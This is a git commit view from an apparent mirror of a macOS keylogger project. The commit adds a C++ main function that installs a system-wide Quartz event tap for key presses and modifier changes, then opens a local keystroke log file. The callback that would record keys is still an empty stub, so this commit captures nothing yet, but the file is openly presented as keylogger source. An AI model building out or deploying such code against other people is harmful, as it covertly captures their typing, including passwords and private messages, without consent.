mirror of
https://github.com/caseyscarborough/keylogger.git
synced 2020-11-18 19:53:40 -08:00
Implement basic main function.
This commit is contained in:
parent
9ef1cdef1f
commit
ea1cbc50f4
@ -0,0 +1,36 @@
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <stdio.h>
|
||||
#include <ApplicationServices/ApplicationServices.h>
|
||||
#include <Carbon/Carbon.h>
|
||||
// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html
|
||||
|
||||
using namespace std;
|
||||
|
||||
string logfileLocation = "./keystroke.log";
|
||||
CGEventRef CGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *);
|
||||
|
||||
int main(int argc, const char *argv[]) {
|
||||
|
||||
CGEventFlags flags = CGEventSourceFlagsState(kCGEventSourceStateCombinedSessionState);
|
||||
CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged));
|
||||
CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, CGEventCallback, &flags);
|
||||
|
||||
if(!eventTap) {
|
||||
cout << "You need to enable \"Enable access for assistive devices\" in the System Preferences Accessibility panel." << endl;
|
||||
exit(1);
|
||||
}
|
||||
|
||||
CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
|
||||
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
||||
CGEventTapEnable(eventTap, true);
|
||||
|
||||
ofstream logfile;
|
||||
logfile.open(logfileLocation, ios::app);
|
||||
logfile << "Keylogging started.";
|
||||
CFRunLoopRun();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {}
|
Loading…
x
Reference in New Issue
Block a user